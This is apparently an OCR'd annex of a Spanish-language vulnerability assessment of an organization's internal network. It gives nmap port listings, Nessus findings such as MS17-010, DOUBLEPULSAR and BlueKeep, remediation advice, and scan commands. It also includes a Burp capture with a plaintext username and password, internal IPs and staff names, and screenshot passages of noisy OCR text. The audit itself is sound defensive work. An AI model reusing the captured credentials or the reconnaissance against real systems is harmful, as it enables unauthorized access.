3389 Tcp Open ms-whbt-

server
5001 Tcp Open |java-object Java Object Serialization
5357 Tcp Open http Microsoft HTTPAPI httpd 2.0

(SSDP/UPnNp)

5432 Tcp Open |Postgrresql PostgreSQL DB (Spanish)
49152 Tcp Open Msrpc Microsoft Windows RPC
49153 Tcp Open Msrpc Microsoft Windows RPC

49154 Tcp Open Msrpc Microsoft Windows RPC




49155 Tcp Open Msrpc Microsoft Windows RPC
49157 Tcp Open Msrpc Microsoft Windows RPC
49159 Tcp Open Msrpc Microsoft Windows RPC
49167 Tcp Open | Unknown

DIRECCION IP: 192.168. 2.60

COMPUTADOR DE ESCRITORIO OFICINA DE JURIDICA

SISTEMA OPERATIVO: Windows 8.1
PUERTO PROTOCOLO ESTADO SERVICIO|

VERSION

135 Tcp Open Msrpc Microsoft Windows RPC
139 Tcp Open |netbios-ssn| Microsoft Windows netbios-ssn
445 Tcp Open microsoft- | Windows 8.1 Pro 9600 microsoft-
ds ds (workgroup:WORKGROUP)
7070 Tcp Open |Realserver
Tcp Open Msrpc Microsoft Windows RPC

DIRECCION IP: 192.168. 2.119

COMPUTADOR DE ESCRITORIO DE TESORERIA

SISTEMA OPERATIVO: Windows 7

'PUERTO PROTOCOLO ESTADO SERVICIO VERSION
135 Tcp Open Msrpc Microsoft Windows RPC
139 Tcp Open ne;télr(])s- Microsoft Windows netbios-ssn
microsoft- Windqws 7 Profes_sional 7601
445 Tcp Open ds Service Pack 1 microsoft-ds
(workgroup: WORKGROUP)
3389 Tcp Open | Tcpwrapped
7070 Open | Realserver
49152 Tcp Open Msrpc Microsoft Windows RPC
49153 Tcp Open Msrpc Microsoft Windows RPC
49154 Tcp Open Msrpc Microsoft Windows RPC
49156 Tcp Open Msrpc Microsoft Windows RPC
49157 Tcp Open Msrpc Microsoft Windows RPC
49159 Tcp Open Msrpc Microsoft Windows RPC




DIRECCION IP: 192.168. 2.106
COMPUTADOR DE ESCRITORIO DE CONTABILIDAD
SISTEMA OPERATIVO: Windows

5357 Tcp Open http Microsoft HTTPAPI httpd 2.0
(SSDP/UPNp)
7070 Tcp Open |Realserver

DIRECCION IP:

SERVIDOR CONTACT CENTER
SISTEMA OPERATIVO:

'PUERTO PROTOCOLO ESTADO SERVICIO VERSION
22 Tcp Open Ssh OpenSSH 7.4(protocolo 2.0)
25 Tcp Open Smtp Postfix smtpd
80 Tcp Open http Apache httpd

2.4.6((centOs)OpenSSL/1.0.2k-
flps PHP/5.4.16)

110 Tcp Open pop3 Cyrus pop3d 2.4.17-Fedora-
RPM-2.4.17-13.el7

143 Tcp Open Imap Cyrus pop3d 2.4.17-Fedora-
RPM-2.4.17-13.el7

443 Tcp Open http Apache httpd

2.4.6((centOs)OpenSSL/1.0.2k-
flps PHP/5.4.16)

993 Tcp Open Imaps

995 Tcp Open pop3s
3306 Tcp Open Mysq|l MySQL 5.5.56-MariaDB
4445 Tcp Open | Upnotifyp
20005 Tcp Open Btx

DIRECCION IP: |

SERVIDOR OPEN FLEXIS

SISTEMA OPERATIVO: AIX 6.1

'PUERTO PROTOCOLO ESTADO SERVICIO | VERSION
13 Tcp Open Daytime
21 Tcp Open ftp HP-UX or AIX ftpd 4.2
23 Tcp Open telnet AIX telnetd
25 Tcp Open Smtp Sendmail AIX5.3/8.13.4
37 Tcp Open Time (32 bits)




111 Tcp Open Rpcbind 2-4 (RPC #100000)
199 Tcp Open Smux
512 Tcp Open Exec AIX rexecd
513 Tcp Open Login
514 Tcp Open | Tcpwrapped
1334 Tcp Open Writesrv
1521 Tcp Open oracle-tns Oracle TNS Listener
8.1.7.0.0 (for IBM/AIX RISC
System/6000)
5988 Tcp Open http Web-Based Enterprise
Management CIM
serverOpenPegaus WBEM
httpd
5989 Tcp Open wbem-https
9090 Tcp Open Websm AIX wsmserver
32768 Tcp Open filenet-tms
32774 Tcp Open Nlockmgr 1-4 (rpc #100021)
32775 Tcp Open |nsm_addrand 1 (RPC #100133)
32780 Tcp Open http Lotus Notes Expedictor httpd
6.1
32782 Tcp Open java-rmi Java RMI




ANEXO F
RESULTADO DEL ESCANEO DE ACTIVOS CON LA HERRAMIENTA NESSUS
Computador de escritorio oficina de Tl IP: 192.168.2.155

« Vulnerabilidades criticas:1
+ Vulnerabilidades altas:3
+ Vulnerabilidades medias:1

<« C @ @ @ kali
Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFU
{ \nessus Scans Settings
\_ Essentials 3
COMPUTADOR DE TI Configure  Audit Trail Launch = Report Export  ~
< Back to All Scans
i@ My Scans
W AlS
. oans Hosts 1 Vulnerabilities 23 History 1
@i Trash
Filter ~
Q Policies Host Vulnerabilities Scan Details
@ monue 1521682155 o Poiy:  Adianced Scan
Status: Completed
Scanner Local Scanner
a7 Community Start: October 13 at 11:54 AM
@ Research End: October 13 at 12:02 PM
Elapsed: 8 minutes

Tenable News Vulnerabilities

CVE-2020-5135: , ® Critical
Critical SonicWall VPN High
Portal Stack... Medium
® Low
Read More ® Info

Vulnerabilidades en el host 192.168.2.155
Computador de escritorio oficina de Tl IP: 192.168.1.60

+ Vulnerabilidades criticas:3
+ Vulnerabilidades altas:3

+ Vulnerabilidades medias:18
+ Vulnerabilidades bajas:2



< C @ (X% kali % n o e® =

Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB ]| MSFU

nessus Seans Settings a @)

COmpLﬂadOr Tl jaime Configure Audit Trail Launch ~ Report = Export ~
< Back to All Scans
M\ My Scans
m AlS
. cans Hosts 1 Vulnerabilities 36 History | 1
@ Trash
Filter »
g Policies Host Vulnerabilities Scan Details
@ Puanie 192.168.1.160 £ Poley: | Adanced Scan
Status: Completed
Scanner Local Scanner
Community Start: October 26 at 8:56 AM

@ Research End: October 26 at 9:00 AM
N Elapsed: 4 minutes
Tenable News Vulnerabilities

e e ’ ® Critical

Messus Scan Reports High

for Better Vul.. Medium

Sy ® Low
Read More ® Info

Resultado del escaner de vulnerabilidades en el host 192.168.1.160

Computador de escritorio oficina de juridica IP: 192.168.2.60

+ Vulnerabilidades altas:1
+ Vulnerabilidades medias:1

c @ @ kali

ali Linux Kali Training Ka s Kali Docs Kali Forums NetHunter ]| Offensive Security Exploit-DB GHDB [ MSFU

nessus
als

COMPUTADOR JURIDICA

Configure  Audit Trail Launch = Report =  Export ~
Back to My S
N — « Back to My Scans
& AlS
= oans Hosts 1 Vulnerabilities | 17 History | 1
@ Trash
Filter =
Policies Host Vulnerabilities Scan Delails
P s 2 168260 Py Ackaced o
Status Completed
Scanner:  Local Scanner
Community Start: October 13 at 12:11 PM
D Research End: October 13 at 12:17 PM
o Elapsed: 6 minutes

Tenable News Vulnerabilities

Microsoft's October ® Critical
2020 Paich Tuesday High
Addresses 8... Medium
® Low
Read More * Info

Resultado del escaner de vulnerabilidades en el host 192.168.2.60

Computador de tesoreria IP: 192.168.2.119

« Vulnerabilidades criticas:4
+ Vulnerabilidades altas:3



v Vulnerabilidades medias:14
+ Vulnerabilidades bajas:2

c @ [oX°¥ kali .
Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFU
nessus Scans
s
COMPUTADOR TESORERIA Configure  Audit Trail Launch = Report ~  Export
O pE=D ¢ Back to My Scans
m AlS
. cans Hosts 1 Vulnerabilities 51 Remediations | 1 Notes 1 History 1
i Trash
Filter «
Policies Host Vulnerabilities Scan Details
Euotibcs 192.168.2.119 = I 5 Policy: Basic Network Scan
Status: Completed
Scanner: Local Scanner
gk Community Start: October 1 at 11:47 AM
@ Research End: October 1 at 11:50 AM
Elapsed: 4 minutes
T T Vulnerabilities
Writing Security ’ ® Critical
Advisories: 5 Best High
Practices For ... Medium
® Low

g

Read Mare ® Info

Resultados del escaner de vulnerabilidades en el host 192.168.2.119

Computador de escritorio contabilidad IP: 192.168.2.106

« Vulnerabilidades encontradas: 13
+ Vulnerabilidades medias:2

D fa kali . v
KaliTraining ~ KaliTools  KaliDocs ~ KaliForums  NetHunter || Offensive Security % Exploit-DB % GHDB || MSFU
Scans Settings
computador leidy botello contabilidad Configure  Audit Trail Launch ~ Report v  Export
S — < Back to My Scans
W AlS
e cans Hosts 1 Vulnerabilities 13 MNotes 1 History | 1
@ Tash
Filler +
§ Policies Host Vulnerabilities Scan Details
@ mon e 1021682108 Pl BasoNetork San
Status: Completed
Scanner: Local Scanner
o1 Community Start: Oclober 1 at 10:43 AM
T End: October 1 at 10:52 AM
Elapsed: 9 minutes

Vulnerabilities

Tenable News

Marvell @ Critical
‘QConvergeConsole High
GUI Multiple Medium
Vuinerabilt... ® Low

® Info

Read More

Resultado del escaner de vulnerabilidades en el host 192.168.2.106




Servidor Contac center

+ Vulnerabilidades criticas:0
+ Vulnerabilidades altas:2

« Vulnerabilidades medias:27

+ Vulnerabilidades bajas:4

& c @ (oF"Y Kali

Kali Linux Kali Training Kali Tools Kali Docs Kali Forums

nessus Scans Settings
ssentials -

servidor contac center
< Back to My Scans

& My Scans
i All Scans
L Hosts 1 Vulnerabilities 43 History 1
@ Trash
Filter -
@ Policies Host Vulnerabilities
@ Plugin Rules ——
g% Community
@ Research

Tenable News

Nagios XI Muttiple
Vulnerabilities

Read More

- @ %

NetHunter || Offensive Security Exploit-DB GHDB | MSFU

Configure Audit Trail

Launch = Report =
Scan Details
Palicy: Advanced Scan
Status: Completed
Scanner: Local Scanner
Start: October 26 at 10:15 AM
End: October 26 at 10:37 AM
Elapsed: 21 minutes

Vulnerabilities

Critical

' High

Medium

.

Low

Info

Resultados del escaner de vulnerabilidades en el host || Gz

Servidor Open Flexis

+ Vulnerabilidades criticas:4
+ Vulnerabilidades altas:4
« Vulnerabilidades medias:5

Export




My Scans

| |

All Scans

Trash

Policies

Plugin Rules

Community
Research

Plugin Release No...

Tenable News

The PrintNightmare
Continues: Another
Zero-Day in ..

B o (P

Read More

open

« Back to All Scans

Hosts 1 Vulnerabilities

Filter «

Host

3z

Remediations

Vulnerabilities

History

1

Configure

Audit Trail

Launch = Report
Scan Details

Policy Advanced Scan
Status: Gompleted

Scanner Local Scanner
Start: March 31 at 1:01 PM
End: March 31 at 1:09 PM
Elapsed: 9 minutes

Vulnerabilities

. ® Critical
High
Medium

* Low
Info

Resultados del escaner de vulnerabilidades en el host || Gz

Export  w




ANEXO G

ANALISIS DE VULNERABILIDADES CRITICAS Y ALTAS PRESENTES EN LOS
ACTIVOS DE INFORMACION OBJETIVO

Vulnerabilidad Severidad
Sistema Operativo sin soporte CRITICA

Descripcion:
La version del sistema operativo de Windows instalada no cuenta con soporte, lo que implica
gue el proveedor no lanzara nuevos parches de seguridad, como resultado es probable que
contenga multiples vulnerabilidades de seguridad, ademas es poco probable que Microsoft
investigue o reconozca nuevas vulnerabilidades.
Activo Afectado:

e Computador de Tl (IP:192.168.2.155)

e Computador de TI (IP:192.168.1.160)

e Computador de Tesoreria (IP:192.168.2.119)

Herramientas:
o Nessus

Recomendaciones:
e Actualizar la version del sistema Operativo.

108797 - Unsupported Windows OS (remote)

Synopsis

The remote OS5 or service pack is no longer supported.

Description

The remote version of Microsoft Windows is either missing a service pack or is no longer supported. As a result,
it is likely to contain security vulnerabilities.

See Also
https://support. microsoft.com/en-us/lifecycle

Solution

Upgrade to a supported service pack or operating system

Risk Factor

Critical




Vulnerabilidad Severidad

SMB Server DOUBLEPULSAR Backdoor / Implant ALTA
Detection (EternalRocks)

Descripcién:
Se detecto la presencia de DOBLEPULSAR herramienta de implantacion trasera
(backdoor) que le permite a un atacante no autenticado utilizar Server Message Block (SMB)
como canal encubierto para filtrar datos, lanzar comandos remotos y ejecutar cédigo
arbitrario.
Activo Afectado:

e Computador de TI (IP:192.168.2.155)

e Computador de Tesoreria (IP:192.168.2.119)

Herramientas:
o Nessus

Recomendaciones:
e Desinstalar DOBLEPULSAR y deshabilitar el protocolo SMB

Synopsis

A backdoor exists on the remote Windows host.

Description

MNessus detected the presence of DOUBLEPULSAR on the remote Windows host. DOUBLEPULSAR is one
of multiple Equation Group SMB implants and backdoors disclosed on 2017/04/14 by a group known as the
Shadow Brokers. The implant allows an unauthenticated, remote attacker to use SMB as a covert channel to
exfiltrate data, launch remote commands, or execute arbitrary code.

EternalRocks is a worm that propagates by utilizing DOUBLEPULSAR.

See Also

http:/fwww.nessus.org/u?4 3ec89df
https://github.com/countercept/doublepulsar-detection-script
https:/github.com/stamparm/EternalRocks/

http:/fwww.nessus.org/u?68fcBeff

Solution

Remove the DOUBLEPULSAR backdoor / implant and disable SMBwv1.

Risk Factor




Vulnerabilidad Severidad

MS17-010: Security Update for Microsoft Windows SMB
Server (CVE-2017-0143)
Descripcion:
Server Message Block (SMB) es un protocolo de red de la capa de aplicacion que opera a
través de los puertos TCP 139 y 445, se utiliza ampliamente para compartir archivos,
impresoras y acceder a servicios remotos. Existen varias vulnerabilidades de ejecucion
remota de codigo en Microsoft Server Message Block 1.0 (SMBv1) debido al manejo
inadecuado de ciertas solicitudes. La explotacién exitosa de esas vulnerabilidades le
permitiria a un atacante cargar malware y propagarlo a otros hosts vulnerables en una red.
Los ataques dirigidos a las vulnerabilidades MS17-010 se usaron en los ataques de
WannaCry y ExPetr ransomware.
Activo Afectado:

e Computador de TI (IP:192.168.2.155)

e Computador de TI (IP:192.168.1.160)

e Computador oficina de juridica (1P:192.168.2.60)

e Computador de Tesoreria (IP:192.168.2.119)

Herramientas:
e Nessus

Recomendaciones:
e Actualizar la version del sistema Operativo.

Synopsis

The remote Windows host is affected by multiple vulnerabilities.

Description
The remote Windows host is affected by the following vulnerabilities :

- Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to

improper handling of certain reguests. An unauthenticated, remote attacker can exploit these vulnerabilities,

via a specially crafted packet, to execute arbitrary code. (CVE-2017-0143, CVE-2017-0144, CVE-2017-0145,
CVE-2017-0146, CVE-2017-0148)

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper
handling of certain requests. An unauthenticated, remote attacker can exploit this, via a specially crafted packet,
to disclose sensitive information. (CWVE-2017-0147)

ETERNALELUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple
Equation Group vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers.
WannaCry / WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit, and EternalRocks

is a worm that utilizes seven Equation Group vulnerabilities. Petya is a ransomware program that first utilizes
CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads via ETERNALBLUE.

See Also
hitp:/ .nessus.org/u?68fc8eff
hitp:/fn

.nessus.org/u?321523eb

http:/fwww.nessus.org/u?065561d0




Vulnerabilidad
Microsoft RDP RCE (CVE-2019-0708)
Descripcién:
RDP, Protocolo de Escritorio Remoto, permite que una computadora se conecte a otra
computadora a través de una red para usarla de forma remota, es posible que un atacante
intente conectarse al equipo mediante RDP y al enviar un paquete especialmente disefiado
para aprovechar esta vulnerabilidad podria establecer el valor del ID del canal en algo que
el servicio RDP no espera, lo que provocaria un error de corrupcion de memoria creando
las condiciones necesarias para que se produzca la ejecucion remota de codigo, logrando
de esta manera privilegios de usuario del sistema, como el de instalar programas, ver,
cambiar o eliminar datos, o crear una nueva cuenta de usuario con todos los derechos.
Activo Afectado:

e Computador de Tl (IP:192.168.1.160)

e Computador de Tesoreria (IP:192.168.2.119)

Severidad

CRITICA \

Herramientas:
o Nessus

Recomendaciones:
e Instalar parches de seguridad o actualizar la version del sistema Operativo.

e Desactivar el servicio RDP sino se necesita

125313 - Microsoft RDP RCE (CVE-2019-0708) (BlueKeep) (uncredentialed check)

Synopsis

The remote host is affected by a remote code execution vulnerability.

Description

The remote host is affected by a remote code execution vulnerability in Remote Desktop Protocol (RDP). An
unauthenticated, remote attacker can exploit this, via a series of specially crafted requests, to execute arbitrary
code.

See Also

http:/fwww nessus.org/u?577af692

http:/fwww.nessus.org/u?8ede0b74

Solution

Microsoft has released a set of patches for Windows XP, 2003, 2008, 7, and 2008 R2.

Risk Factor

Critical




Vulnerabilidad Severidad

SSL Version 2 and 3 Protocol Detection

Descripcion:

El servicio remoto acepta conexiones cifradas mediante la version de SSL 2.0y / o SSL
3.0. Estas versiones de SSL se ven afectadas por varias fallas criptogréficas, que incluyen:

+ Un esquema de relleno inseguro con cifrados CBC.
« Esquemas inseguros de renegociacion y reanudacion de sesiones.

Un atacante puede aprovechar estas fallas para realizar ataques de intermediario o para
descifrar las comunicaciones entre el servicio afectado y los clientes.
Aunque SSL / TLS tiene un medio seguro para elegir la versibn mas compatible del
protocolo (de modo que estas versiones se usaran solo si el cliente o el servidor no admiten
nada mejor), muchos navegadores web implementan esto de una manera insegura que
permite a un atacante degradar una conexion (como en POODLE). Por lo tanto, se
recomienda que estos protocolos se deshabiliten por completo.
Activo Afectado:

e Computador de Tl (IP:192.168.1.160)

e Servidor contac center (_)

Herramientas:
o Nessus

Recomendaciones:
e Deshabilitar SSL 2.0y 3.0 y utilizar TLS 1.2

Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are
affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between
the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that
these versions will be used only if the client or server support nothing better), many web browsers implement
this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is
recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of
enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong
cryptography’.

See Also




Severidad
CRITICA

Vulnerabilidad
MS11-030 vulnerabilidad en resolucion DNS

Descripcién:
Una falla en la forma en que el cliente DNS de Windows procesa las consultas de resolucion
de nombres de multidifusion local (LLMNR) le permitiria a un atacante la ejecucion remota
de cddigo arbitrario si tuviera acceso a la red y creara un programa para enviar consultas
de difusion (LLMNR) especialmente disefiadas para el sistema objetivo, una buena préactica
para evitar este tipo de vulnerabilidades es hacer uso de un firewall para proteger las redes
de ataques que se originan fuera del perimetro empresarial, también se recomienda que
los equipos que se encuentran conectados a internet tengan un minimo de puertos
expuestos.
Activo Afectado:

e Computador de Tesoreria (IP:192.168.2.119)

Herramientas:
o Nessus

Recomendaciones:
e |Instalar parches de seguridad o actualizar la version del sistema Operativo.

53514 - MS11-030: Vulnerability in DNS Resolution Could Allow Remote Code Execution (2509553)

(remote check)

Synopsis

Arbitrary code can be executed on the remote host through the installed Windows DNS client.

Description

A flaw in the way the installed Windows DNS client processes Link- local Multicast Mame Resolution (LLMNR)
queries can be exploited to execute arbitrary code in the context of the NetworkService account.

Note that Windows XP and 2003 do not support LLMNR and successful exploitation on those platforms requires

local access and the ability to run a special application. On Windows Vista, 2008, 7, and 2008 R2, however, the
issue can be exploited remotely.

See Also

https:/f'www.nessus.org/u?361871b1

Solution

Microsoft has released a set of patches for Windows XP, 2003, Vista, 2008, 7, and 2008 R2.




Vulnerabilidad Severidad

Base de datos sin soporte CRITICA
Descripcion:
La version de la base de datos de ORACLE que estéa corriendo en el servidor no cuenta
con soporte, lo que implica que el proveedor no lanzara nuevos parches de seguridad,
como resultado es probable que contenga mdltiples vulnerabilidades de seguridad.
Activo Afectado:

e Servidor Open Flexis

Herramientas:
e Nessus

Recomendaciones:
e Actualizar la version de la base de datos.

55786 - Oracle Database Unsupported Version Detection

Synopsis

The remote host is running an unsupported version of a database server.

Description
According to its version, the installation of Oracle Database running on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it
is likely to contain security vulnerabilities.

See Also

http:/fwww.nessus.org/u?ccd068d1

Solution
Upgrade to a version of Oracle Database that is currently supported.
Risk Factor

Critical

CVSS Base Score

10.0 (CVSS2#AVNIAC:L/AUN/C:C/I:C/A:C)




Vulnerabilidad Severidad

Sistema operativo UNIX sin soporte CRITICA

Descripcion:
La version del sistema operativo UNIX que esta corriendo en el servidor no cuenta con
soporte, lo que implica que el proveedor no lanzara nuevos parches de seguridad, como
resultado es probable que contenga mudltiples vulnerabilidades de seguridad.
Activo Afectado:

e Servidor Open Flexis

Herramientas:
e Nessus

Recomendaciones:
e Actualizar la version del sistema operativo

33850 - Unix Operating System Unsupported Version Detection

Synopsis

The operating system running on the remote host is no longer supported.

Description

According to its self-reported version number, the Unix operating system running on the remote host is no longer
supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it
is likely to contain security vulnerabilities.

Solution

Upgrade to a version of the Unix operating system that is currently supported.
Risk Factor
Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/IACLIPR:N/UIN/S:CIC:H/:HIA:H)




Vulnerabilidad Severidad
Deteccion del servicio rexecd -aii_

Descripcién:
El servicio rexecd se esta ejecutando en el servidor. Este servicio esta disefiado para
permitir a los wusuarios de una red ejecutar comandos remotamente. Sin
embargo, rexecd no provee ninguna medida adecuada de autenticacién, lo que le
permitiria a un atacante un escaneo completo del servidor.
Activo Afectado:

e Servidor Open Flexis

Herramientas:
e Nessus

Recomendaciones:
e Comentar la linea exec en el archivo /etc/inetd.conf en la maquina afectada y
reiniciar el proceso inetd

10203 - rexecd Service Detection

Synopsis

The rexecd service is running on the remote host.

Description

The rexecd service is running on the remote host. This service is design to allow users of a network to execute
commands remotely.

However, rexecd does not provide any good means of authentication, so it may be abused by an attacker to
scan a third-party host.

Solution

Comment out the 'exec' line in /etc/inetd.conf and restart the inetd process.

Risk Factor

Critical

CVSS Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)
References

CVE CVE-1999-0618




Vulnerabilidad Severidad

La base de datos del servidor es afectada por multiples ALTA
vulnerabilidades
Descripcion:
La version de la base de datos de Oracle que se esta ejecutando en el servidor le permite
a un atacante ejecutar comandos arbitrarios con ciertos privilegios a través de sentencias
SQL

Activo Afectado:

e Servidor Open Flexis

Herramientas:
e Nessus

Recomendaciones:
e Aplicar parche de seguridad proporcionado por el proveedor

Synopsis

The remote database server is affected by multiple vulnerabilities.

Description

The remote Oracle Database, according to its version number, contains a remote command execution
vulnerability that may allow an attacker who can execute SCQL statements with certain privileges to execute
arbitrary commands on the remote host.

See Also

http:/fwww nessus.org/u?e1d0c17a

Solution

Apply vendor-supplied patches.
Risk Factor

High

CVSS Base Score

7.5 (CVSS2#AV:NIAC:L/Au:NIC:P/I:P/A:P)

CVSS Temporal Score

6.2 (CVSS2#E:F/RL:OF/RC:C)




Vulnerabilidad Severidad
La base de datos es afectada por un desbordamiento de
Buffer

Descripcién:
La base de datos Oracle es vulnerable a un desbordamiento buffer explotable de forma
remota. El problema existe con los enlaces de la base de datos, funcionalidad que permite
la consulta de un servidor de base de datos Oracle desde otro.
El desbordamiento puede explotarse si se proporciona un parametro demasiado largo para
una cadena de conexion ‘CREATE DATABASE LINK’, un atacante con una cuenta en la
base de datos podria usar esta falla para obtener el control de toda la base de datos.
Activo Afectado:

e Servidor Open Flexis

Herramientas:
e Nessus

Recomendaciones:
e Aplicar parche de seguridad proporcionado por el proveedor

Synopsis

The remote host has an application that is affected by a buffer overflow vulnerability.

Description

The remote Oracle Database, according to its version number, is vulnerable to a buffer overflow in the query
CREATE DATABASE LINK. An attacker with a database account may use this flaw to gain the control on the
whole database, or even to obtain a shell on this host.

See Also

Apply vendor-supplied patches.

Risk Factor

High

CVSS v3.0 Base Score

9.9 (CVSS:3.0/AV:N/AC:L/PR:L/ULNIS:C/C:HII:H/AH)

CVSS v3.0 Temporal Score

8.6 (CVSS:3.0/E:WRL:O/RC:C)




Vulnerabilidad Severidad
Prueba de la configuracion de la aplicacion

Descripcion:
Hay encabezados no especificados que exponen al usuario a re direccionamientos
peligrosos, ataques de XSS y robo de sesion.
Activo Afectado:
e Servidor Contac center

Herramientas:
e Nikto
e Owasp zap

Recomendaciones:
e Especificar algunos encabezados HTTP como X-XSS-Protection, X-Frame-Options
y X-Content-Type-Options.

nikto -h

L (GHT-5)

OpenssL/1.0.2k-fips PHR/5.4.16
-(ptions header is not present,
s not defined. This header can hint to the user agent to protect against some forms of XS5
agent to render the content of the site in a different fashion to the NIME type

+ 1 host(s) tested




Vulnerabilidad Severidad
Prueba de métodos HTTP

Descripcion:
Se realizaron pruebas a los métodos HTTP permitidos por el servidor, ya que algunos de
estos pueden plantear un potencial riesgo de seguridad para una aplicacion web,
permitiéndole a un atacante modificar los archivos almacenados en el servidor web, y en
algunos escenarios robar informaciéon de credenciales de usuario, en ese sentido se
evidencié que el método TRACE se encuentra activo en el servidor, lo que podria
comprometer la seguridad del sitio ya que mediante él se pueden ejecutar ataques tipo XST
(Cross Site Tracing) o XSS (Cross Site Scripting) y robar las Cookies de sesion.
Herramientas:

e Nmap

e Nikto

Activo Afectado:
e Servidor Contac center

Recomendaciones:
e Desactivar el uso de métodos HTTP que no se estan utilizando, por ejemplo, el
método TRACE para evitar posibles ataques como XST.

rootgkali: /home/usuario#f nmap -Pn —script http-methods 16.211.8.33 -p 80
Starting Nmap 7.8@ ( https://nmap.org ) at 2021-03-26 16:18 -85

Nmap scan report for

Host is up (0.812s latency).

PORT  STATE SERVICE
80/tcp open http
http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS

Nmap done: 1 IP address (1 host up) scanned in @.67 seconds
rootdkali:/home/usuariot |

+ Apache/2.4
+ RS,
05V0E-
+ 05V08-

apears to be outdated (curnent 15 at least Apache/2,4.37), Apache 2,0,3 1 the EOL for the 2.x branch,
16 apears to be outda tea (current 35 at least 7.2,12), PHP 5.6.33, 7.0.27, 7,113, 7.2.1 nay also current release for each branch,
17+ HTTP TRACE method 15 active, suagesting the host 15 vulnerable to KST
J68: /3cons/ Directory indexing found,

L4
b,
}
}




Vulnerabilidad Severidad

Prueba de HSTS
Descripcion:
El encabezado HTTPS Strict Transport Security (HSTS) es un mecanismo que tiene los sitios
web para comunicarse con los navegadores web. Todo el trafico intercambiado con un
dominio debe siempre ser enviado mediante https; esto ayudara a proteger la informacion de
que se envié mediante peticiones no cifradas. En el caso del objetivo (_), las
pruebas indican que no se utiliza un certificado TSL/SSL, esto significa que la informacion
gue se transporta desde y hacia el sitio web no esta cifrada y puede ser interceptada por un
atacante malicioso.
Activo Afectado:

e Servidor Contac center

Herramientas:
e Google

Recomendaciones:
e Asegurarse de implementar un esquema de seguridad estricto en la aplicacién usando

certificados digitales validos y criptograficamente seguros.

& C A Noesseguro _ B v @

No deberias introducir informacian confidencial en
este sitio web (por jemplo, contrasefas o tarjetas de
crédito) porque los atacantes podrian robarla,

Mas informacidn

> Issabel

Has elegido inhabilitar las advertencias de seguridad

@ Cookies: (2 en uso)
B Certificado (no vélido)

£ Configuracién de sitios

Usemame:




Vulnerabilidad Severidad

Prueba del HTTP Strict Transport Security
Descripcion:
Probar el trasporte de credenciales significa comprobar que los datos de autenticacion de
usuario se transfieran a través de un canal encriptado para evitar ser interceptados por
usuarios maliciosos, el analisis se centra en establecer si los datos viajan sin encriptar desde
el navegador web al servidor, o si la aplicacion web toman las medidas de seguridad
apropiadas al utilizar protocolos como HTTPS. EIl protocolo HTTPS se construye sobre
SSL/TLS para encriptar los datos que se transmiten y asegurar que el usuario es enviado al
sitio deseado.
Para el caso del objetivo no se tienen implementados certificados digitales ni canales cifrados
de informacién ya que el servidor no se encuentra configurado para manejar el protocolo
HTTPS, lo cual indica una falla que debe remediarse ya que un atacante podria capturar la
informacion sin cifrar usando un sniffer.
Activo Afectado:

e Servidor Contac center

Herramientas:
e BurpSuite.

Recomendaciones:
e Establecer protocolos SSL/TLS en los canales de comunicacién a través certificados

validos.
Burp Project Intruder Repeater Window Help
[Dashboard TTarget T Tlntruder T Repeater TSequencer TDecoder TComparer TExtender T Project options T User options ]
_[ T HTTP history TWebSockets history T Options ]

& O Requestto

l Forward J l Drop J | Interceptis on | l Action J l Open Browser J

Raw | Params | Headers | Hex

1 POST

Z Host:

S User-Agent: MozillasS.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/xhtml+xml,application/xml;g=0,9,%/*;q=0.8

5 Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: agzip, deflate

2 Content-Type: application,x-www-form-urlencoded
2 Content-Length: 48

10 Connection: close

11 Cookie: issabelSession=hhihvuaSugp4rv7373g0es86l3

12 Upgrade-Insecure-Requests: 1
13 Cache-Control: max-age=0

I 15 input_user=emtel&input_pass=1234&submit_login= I




Vulnerabilidad Severidad

Pruebas de Definicion de Roles

Descripcion:
Es posible entrar al index de la aplicacion sin loguearse con anterioridad, también hay
directorios visibles desde URL en varios subdominios.
Activo Afectado:
e Servidor Contac center

Herramientas:
e OWASP Dirbuster
Recomendaciones:
e Implementar funciones de control de acceso

Es posible ver el listado de directorios. La lista de directorios puede revelar seripts ocultos, incluyen archivos, copia de seguridad de los archivos de origen, etc, que se pueden acceder para leer

i informacién sensible.

URL https://10.211.0.33/themes/
Method GET
Attack Parent Directory

URL hitps://10.211.0.33/libs/font-icons/font-awesome/css/
Method GET
Attack Parent Directory

URL https://10.211.0.33/libs/js/jquery/widgetcss/
Method GET
Attack Parent Directory

URL https://10.211.0.33/themes/tenant/js/gsap/
Method GET
Attack Parent Directory

URL hitps://10.211.0.33/libs/font-icons/entypo/css/
Method GET

> e amecoo I

Index of /themes/tenant

Name Last modified Size Description

5 Parent Directory,

(23 _common 2019-12-09 17:53
applet css 2018-10-02 08:52 1 3K
content.css 2018-10-02 08:32 7.1K
Tess 2019-12-09 17:53

% header.css 2018-10-02 08:32 90K
